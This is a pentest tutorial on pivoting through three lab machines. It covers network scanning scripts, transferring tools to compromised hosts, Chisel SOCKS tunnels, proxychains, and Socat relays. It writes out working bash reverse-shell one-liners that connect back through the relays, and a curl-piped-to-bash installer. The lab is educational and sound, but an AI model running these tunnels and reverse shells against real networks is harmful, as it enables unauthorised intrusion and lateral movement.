# 5.3.2 Pivoting Example (3 Targets)

## **What is Pivoting?**

\
Imagine an attacker gains access to one system in a network, like a thief entering a house through an unlocked window. This initial foothold allows them to "**pivot**" within the network, using the compromised system as a stepping stone.

By exploiting weaknesses and leveraging shared resources, they can move laterally, bypassing security measures like firewalls, just like the thief using a hidden key to access other rooms. This allows them to reach and potentially control additional systems, gaining access to more valuable resources or information within the network. While malicious actors use this technique for harmful purposes, ethical hackers (pen-testers) also employ pivoting to assess network security vulnerabilities.

{% embed url="https://pentest.blog/explore-hidden-networks-with-double-pivoting/" %}

## Setting Lab

1\) Download one of following virtualization platform:

* VirtualBox: [https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads)
* VmWare: [https://www.vmware.com/content/vmware/vmware-published-sites/us/products/workstation-player/workstation-player-evaluation.html.html](https://www.vmware.com/content/vmware/vmware-published-sites/us/products/workstation-player/workstation-player-evaluation.html.html)
* Qemu: [https://www.qemu.org/download/](https://www.qemu.org/download/)

2\) Download one of these Linux OS (PT distribution is preferred):

* Kali Linux (OVA): [https://www.kali.org/get-kali/#kali-virtual-machines](https://www.kali.org/get-kali/#kali-virtual-machines)
* ParrotOS (OVA): [https://parrotsec.org/docs/virtualization/install-parrot-on-virtualbox/](https://parrotsec.org/docs/virtualization/install-parrot-on-virtualbox/)

3\) Download Ubuntu Server OS (we will use it for the three target machines):

Ubuntu Server: [https://ubuntu.com/download/server](https://ubuntu.com/download/server)

### Configuration of Lab

1\) Install virtualization platform (in my case VirtualBox)

2\) Create three different NAT Networks with DHCP enabled:

* **Nat1** (10.10.10.0/24)
* **Nat2** (20.20.20.0/24)
* **Nat3** (30.30.30.0/24)

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/5BlDUDTDDXppdxstoZz6/image.png" alt=""><figcaption></figcaption></figure></div>

3\) Istanciate attacker machine (Kali) and assign: normal NAT network to access to internet (optional) and NAT1 interface:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/PmxkYC3cr92852LXh6iM/image.png" alt=""><figcaption></figcaption></figure></div>

4\) Istanciate Target1 (Ubuntu Server) and assign: NAT1 and NAT2 interfaces:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/DdpMXX3tlB5NvnOOwQjs/image.png" alt=""><figcaption></figcaption></figure></div>

5\) Istanciate Target2 (Ubuntu Server) and assign: NAT2 and NAT3 interfaces:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/BFqInewrxp5Jq3Zlat7X/image.png" alt=""><figcaption></figcaption></figure></div>

6\) Istanciate Target3 (Ubuntu Server) and assign only NAT3 interface:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/2jiX4oZ2NpabX5Uq4IfO/image.png" alt=""><figcaption></figcaption></figure></div>

7\) Run all machines! ⚡

## Network schema

<div align="left" data-full-width="false"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/jAA5Pmmh6eS2Qm1G9RQt/image.png" alt=""><figcaption></figcaption></figure></div>

<table><thead><tr><th width="311">Hostname</th><th>NAT 1</th><th>NAT 2</th><th>NAT 3</th></tr></thead><tbody><tr><td><strong>Attacker Machine</strong> (Kali Linux)</td><td><mark style="background-color:yellow;">10.10.10.4</mark></td><td></td><td></td></tr><tr><td><strong>Target 1</strong> (Ubuntu)</td><td><mark style="background-color:yellow;">10.10.10.5</mark></td><td><mark style="background-color:orange;">20.20.20.7</mark></td><td></td></tr><tr><td><strong>Target 2</strong> (Ubuntu)</td><td></td><td><mark style="background-color:orange;">20.20.20.4</mark></td><td><mark style="background-color:red;">30.30.30.5</mark></td></tr><tr><td><strong>Target 3</strong> (Ubuntu)</td><td></td><td></td><td><mark style="background-color:red;">30.30.30.4</mark></td></tr></tbody></table>

For each targets we can create a simple index.html file, to differenciate each and host it on port 80 using python:

```bash
#target 1
echo "<h1>Target 1</h1>" > index.html #create a static html page with text: Target 1
sudo python3 -m http.server 80
#target 2
echo "<h1>Target 2</h1>" > index.html #create a static html page with text: Target 2
sudo python3 -m http.server 80
#target 3
echo "<h1>Target 3</h1>" > index.html #create a static html page with text: Target 3
sudo python3 -m http.server 80
```

## Reconnaissance

We talk about pivoting when, **after having exploited a victim machine**, we find another internal network inside it. Therefore it is necessary to know the context well in the ways illustrated below.

### Hosts Discovery on internal network

Once we have found the internal hosts we can do 3 things:

* Do an arp-scan on localnet
* Create a bash script to find open ports of the new IP
* Upload a portable [nmap binary](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap)

{% embed url="https://github.com/andrew-d/static-binaries/tree/master/binaries" %}
List of static binaries
{% endembed %}

### ARP-Scan

Execute an **arp-scan** for host discovering in localnet:

```bash
arp-scan -I eth1 --localnet
```

### Host and Port Discovery using scripts

#### Host Discovery

#### Linux

```bash
for i in $(seq 254); do ping 10.10.10.${i} -c1 W1 & done | grep from
```

> `for i in $(seq 254)` -> do cicle 254 times, using i as cycle iterator
>
> `ping 10.0.2.${i} -c1 W1 &` -> do ping request at current IP (based on iterator value) sending only 1 packet (-c1), with 1 sec of timeout(-W1), all in background (&).&#x20;
>
> `do` and `done` -> delimiter the beginning and the ending of code block for which iteration&#x20;
>
> `| grep from` -> filter output of last commands displaying only output that contains answers received at ping request

#### We can use this similar solution:

```bash
#!/bin/bash
for i in $(seq 1 254); do
       timeout 1 bash -c "ping -c 1 10.10.10.$i" &>/dev/null && echo " 10.10.10.$i is Active" &
done; wait
```

#### Windows

```bash
ipconfig # IP list
arp -a # To see network interfaces
```

{% embed url="https://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner" %}
Install IPv4 Network Scanner to scan the network range
{% endembed %}

```bash
.\IPv4NetworkScanner.ps1 -StartIPv4Address 10.10.10.0 -EndIPv4Address 10.10.10.254
```

#### Open Ports Discovery

#### Linux

```bash
#!/bin/bash
for port in $(seq 1 65535); do
        timeout 1 bash -c "echo '' > /dev/tcp/<IP>/$port" &>/dev/null && echo "[*] $port Port is Open" &
done; wait
```

#### Windows

{% embed url="https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner" %}
Check open port of network range
{% endembed %}

```bash
.\IPv4PortScanner .ps1 -ComputerName <name> -StartPort 1 -EndPort 500 | ft
```

### Host and Port Discovery using [Nmap binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap)

Simulating that we've access to first victim machine using SSH protocol, we need to download a portable scanning program (as nmap) on our attacker machine (kali) and transfer it on victim machine via SSH.

Go to this [github repo](https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64), that contains more useful static binary resources (nmap, python, socat, netcat, etc) and copy following URL:

[**https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86\_64/nmap**](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap)

download it on our attacker machine (Kali), assign exe privilege:

```bash
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap #download nmap binary
chmod +x nmap #give execution permission
```

and copy binary to victim machina via SSH:

```bash
scp nmap pivot@IP:/tmp #copy via ssh on /tmp victim machine directory 
```

or using hosting it on a python web server and downloading it on victim machine:

```bash
python3 -m http.server 80 #on attacker machine, on the same directory of nmap
wget http://10.10.10.4/nmap #if victim machine has Linux OS
certutil -urlcache -split -f http://10.10.10.4/nmap #if victim machine has Windows OS
```



Now, we've transferred nmap on victim/pivot machine and we can run it there:

```bash
./nmap IP #we need to use -Pn flag to scan Windows machines
```

## Pivoting phase

Now, we've scanning tool (bash script or nmap) to discover network and other subnets of victim/pivot machine, but we can't do a simple ping or scan to IP regarding external subnets from our attacker machine (kali).

To give a link between attacker machine and external iPs we need to using pivoting techniques.

#### **Tools for Pivoting**

* [Chisel](https://github.com/jpillora/chisel)
* Metasploit (auxiliary/server/socks\_proxy)
* Logolo-ng
* [Socat](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat)
* Netsh

### Chisel

**Chisel** is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

{% embed url="https://github.com/jpillora/chisel" %}

<figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/zrqXpSBQK1RvpnHPEEFh/image.png" alt=""><figcaption></figcaption></figure>

We are going to use Chisel to help us reach Target machine from our Attacker machine.&#x20;

We also need to install **proxychains,** if it is not already installed on our Attacker machine, by running the following command.

```bash
#Kali
sudo apt-get -y install proxychains #download and install proxychains
curl https://i.jpillora.com/chisel! | bash #download and install binary
ln -s /usr/local/bin/chisel chisel #create a symbolic link for Chisel binary path
chmod +x chisel #give execution permission (do it on both machines)
```

Access to Target X (we'll do it for target 1, 2 and 3):

{% hint style="info" %}
In our case we're accessing through machines via SSH and using following credentials: _ubuntu:ubuntu_
{% endhint %}

Now, we've Chisel on our Kali attacker machine (server), and we need to transfer it to victim machine target1 (client) for establish a connection. &#x20;

Do it using a **Python HTTP Server** on port 80, on our attacker machine and download it on attacker machine:

<pre class="language-bash"><code class="lang-bash"><strong>#Kali
</strong><strong>python3 -m http.server 80 #on attacker machine, on the same directory of chisel
</strong></code></pre>

<pre class="language-bash"><code class="lang-bash"><strong>#Target 1
</strong>ssh ubuntu@10.10.10.5 #access to target 1
wget http://10.10.10.4/chisel #download chisel (if victim machine has Linux OS)
certutil -urlcache -split -f http://10.10.10.4/chisel #download chisel (if victim machine has Windows OS)
chmod +x chisel #give execution permission
</code></pre>

or transferring using **SSH** via:

```bash
scp chisel kali@10.10.10.5:/tmp #copy via ssh on /tmp victim machine directory 
chmod +x chisel #give execution permission (do it on both machines) 
```

or transferring using C**url**:

```bash
curl 10.10.10.4/chisel -o chisel
```

Finally, we can establish connection between attacker (Kali) and victim using chisel (Target 1):

#### Attacker Machine / Server

Solution 1 (i suggest it)

```bash
./chisel server --reverse -p 33 #on Kali
```

Solution 2

```bash
./chisel server --socks5 --reverse #on Kali
```

* PORT = port for the Chisel traffic
* socks5 = to setup a SOCKS5 proxy
* reverse = to tell Chisel to wait for a connection from a client

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/uQzUz9we48YyC6yklGNo/image.png" alt=""><figcaption></figcaption></figure></div>

#### Victim Machine / Client&#x20;

Solution 1(i suggest it)

Via socks5 bring us all ports:

```bash
./chisel client 10.10.10.4:33 R:socks
```

Solution 2

Bringing only one port which would be like this:

```bash
./chisel client <Attacker_IP>:2000 R:80:<Victim_IP>:80
```

Solution 3

```
./chisel client --fingerprint <finger_of_chisel_server> <Attacker_IP>:<Listening_Attacker_Port> R:8000:<Victim_IP>:80
```

* IP = The IP address of your Chisel server
* PORT = The port you set on your Chisel sever
* R:socks = enables the reverse SOCKS proxy

<figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/PGX837cRo9COHAz4tYKr/image.png" alt=""><figcaption></figcaption></figure>

The connection will have been opened on the local port of our machine through 1080.

{% hint style="info" %}
Rename terminal tabs is a best practies to facilitate understanding!
{% endhint %}

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/wfIsxbmazMIelYUUXrF1/image.png" alt=""><figcaption><p>Rename tabs with a significant name</p></figcaption></figure></div>

### Setting Proxychains

First, check that you have [proxychains↗](https://github.com/haad/proxychains) installed. It comes preinstalled in Kali Linux or Parrot. With root privileges edit the file `/etc/proxychains4.conf`. At the bottom, you should add the following line:

```bash
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf #it adds IP and port in listening mode on chisel attacker machine
```

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/gzh9aZKpEO2NrGG8o5az/image.png" alt=""><figcaption><p>/etc/proxychains4.conf</p></figcaption></figure></div>

Now we can talk directly with attacker machine and do a scan preceding `proxychains -q` before every command. The `-q` is for quiet mode since most attackers won’t need verbose proxy traffic.

```bash
proxychains nmap -p80 --open --min-rate 4000 -v <Victim_IP> -sT -Pn 
proxychains curl <Victim_IP>:80
proxychains xfreerdp /v:<Victim_IP> /u:Administrator
```

The traffic flows into port 1080 on your machine and out on your jump host, which has established a connection back to your listener on the port you specified when executing `chisel server`.

### **Setting Proxy (browser use)**

If we want to set proxy to see webpage using browser, we need to configure a proxy.

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/He9KHpdRJgcpL5gDcGi3/image.png" alt=""><figcaption></figcaption></figure></div>

#### Foxy Proxy

We can use an extension for browser such as [Foxy Proxy](https://getfoxyproxy.org/).

Install version for dedicated browser (Firefox, Chrome, etc)

Add Proxy -> Proxy Type: SOCKS5, Proxy IP address: 127.0.0.1, Port: \<Listening\_Attacker\_Port> and save

<figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/aROM6eG9jzGhXff2Ftfc/image.png" alt=""><figcaption></figcaption></figure>

Turn on FoxyProxy an go on website directly using IP pivot machine.

#### Use of proxychains

Checking network interface (`ip a`) on target 1, we can discover an host with `20.20.20.4` IP and reach out it only using proxychains before commands:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/KkSHoMQPdWy4vKMRii5F/image.png" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
Without use of proxychains (on terminal) and proxy (on browser) we can't reach out victim machine!
{% endhint %}

Now using Kali attacker machine we can see hosts on second network interface `20.20.20.0/24` (present on target 1 and 2).

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/co1VD1dkug1AieqGoRgB/image.png" alt=""><figcaption></figcaption></figure></div>

and we can see that's third network interface 30.30.30.0/24 (target 3 -> 30.30.30.5).

### Socat

Good, but the matter is that Kali attacker machine isn't reachable by target2:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/zSFQOnLGmLMmIKLrZsWh/image.png" alt=""><figcaption></figcaption></figure></div>

Bad situation in a PT, where we need to spawn a reverse shell. To solve this problem a tool called [`Socat`](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat) comes in handy.

{% embed url="https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat" %}

We are going to use Socat to help us reach Attacker machine from our Target/Victim machine and spawn a shell.&#x20;

<pre class="language-bash"><code class="lang-bash">#Kali
curl https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -o socat #download Socat
chmod +x socat #give execution permission (do it on both machines)
<strong>#transfer Socat on victim machine / target 1
</strong><strong>python3 -m http.server 80
</strong><strong>
</strong><strong>#download on target 1 using wget or similar methods
</strong><strong>#Target 1
</strong><strong>wget 10.10.10.4/socat
</strong><strong>chmod +x socat
</strong></code></pre>

```bash
#Target 1
./socat tcp-l:1111,fork,reuseaddr tcp:10.10.10.4:111 #tcp-l: listening port, send data to tcp:attacker:port
```

Now, we've a reverse connection, and if we listening on Kali machine using on port 111 and we spawn a [reverse shell](https://www.revshells.com/) on target 2 (using Target 2's IP of 2nd net interface in common between target 1 and 2), we obtain a target 2 session on Kali machine.

{% embed url="https://www.revshells.com/" %}

```bash
#Kali
nc -nlvp 111 #listening on port 111
#Target 2
sh -i >& /dev/tcp/20.20.20.7/1111 0>&1 #Bash -i reverse shell with IP target 1 and socat listening port 1111
```

<figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/OkDKBNCoHRPn7U1SiOGY/image.png" alt=""><figcaption></figcaption></figure>

All right! We stop listening on the Kali and to reach the third machine, we've to do the same procedure.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

We need Chisel and Socat on target 2, then we transfer it as always, but using target 1 machine and not Kali.&#x20;

<pre class="language-bash"><code class="lang-bash"><strong>#Target 1
</strong><strong>python3 -m http.server 80 #target 1, on the same directory of chisel
</strong></code></pre>

<pre class="language-bash"><code class="lang-bash"><strong>#Target 2
</strong>proxychains ssh ubuntu@20.20.20.4 #access to target 2 from kali
wget http://20.20.20.7/* #download chisel and socat (if victim machine has Linux OS)
certutil -urlcache -split -f http://20.20.20.7/* #download chisel and socat (if victim machine has Windows OS)
chmod +x chisel #give execution permission
chmod +x socat #give execution permission
</code></pre>

Then, we need to open a new tunnel connection on Kali machine, therefore we execute a 2nd session of target 1 on a different port of socks5.

#### Setting proxychains

With root privileges edit the file `/etc/proxychains4.conf`. At the bottom, you should add the following line:

```bash
echo "socks5 127.0.0.1 5555" >> /etc/proxychains4.conf #it adds IP and port in listening mode on chisel attacker machine
```

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/dmNXJqcTlwNYEFaMJcbC/image.png" alt=""><figcaption><p>/etc/proxychains4.conf</p></figcaption></figure></div>

{% hint style="info" %}
If we'll give an error during next connections, we need to insert line to the top line of the previous request (as photo) or if "dynamic\_chain" option is commented out and strict\_chain" option is uncommented.
{% endhint %}

Execute socat on target 1 using a different port on listening and attacker machine IP and Port:

```bash
#Target 1
./socat tcp-l:2222,fork,reuseaddr tcp:10.10.10.4:111 #tcp-l: listening port, send data to tcp:attacker:port
```

while we execute chisel on target 2 (using Target 1's IP of 2nd net interface in common between target 1 and 2, in addition we specify proxychains socks port: with R:5555:socks):

```bash
#Target 2
./chisel client 20.20.20.7:2222 R:5555:socks
```

well done, we obtained a new session tunnel on Kali:

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/lbeNH8ZlIyxw8nj8CdCy/image.png" alt=""><figcaption></figcaption></figure></div>

Now, we've visibility with the target 3.

```bash
#Kali
proxychains curl 30.30.30.4
```

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/o9xsPxrW51R9udEKUhJe/image.png" alt=""><figcaption></figcaption></figure></div>

of course, to see webpage via browser we need to reconfigure proxy settings or foxy proxy.

Very good, we can access to target 3 using: `proxychains ssh ubuntu@30.30.30.4`

But we've always the same problem, we can't reach out kali from target 3 and spawn a rev shell.

We can solve it establish a new session of socat on target 2, which will establish a connection starting from machine 2, passing through 1, until arriving at kali.

<pre class="language-bash"><code class="lang-bash">#Target 2
./socat tcp-l:3333,fork,reuseaddr tcp:20.20.20.7:4444 #tcp-l: listening port, send data to tcp:attacker:port
<strong>#Target 1
</strong>./socat tcp-l:4444,fork,reuseaddr tcp:10.10.10.4:2222  #tcp-l: listening port, send data to tcp:attacker:port
</code></pre>

### Reverse Shell

{% embed url="https://www.revshells.com/" %}

We create a  bash reverse shell using target 2 IP machine (on the same subnet of target 3), and listening on kali machine using netcat:

```bash
#Kali
nc -nvlp 2222 #same port of socat on target 1
#Target 3
sh -i >& /dev/tcp/30.30.30.5/3333 0>&1
```

<div align="left"><figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/2RQdzDZdyE6bstnhAOJ8/image.png" alt=""><figcaption></figcaption></figure></div>

Great, we're in target 3 machine!

#### In addition, we can use this tool to create a powershell reverse shell for Windows machine to communicate back to attacker machine (kali).

{% embed url="https://github.com/t3l3machus/hoaxshell" %}

```bash
python hoaxshell.py -s <Victim_IP> -p 9999
```

it generates a reverse shell payload on execute on windows victim machine using powershell.

It permits us to obtain a reverse shell connection with windows victim machine on our attacker kali machine.

## Metasploit

#### Pivoting

{% embed url="https://www.offsec.com/metasploit-unleashed/pivoting/" %}
Pivoting
{% endembed %}

#### Port Forwarding

{% embed url="https://www.offsec.com/metasploit-unleashed/portfwd/" %}
Portfwd
{% endembed %}
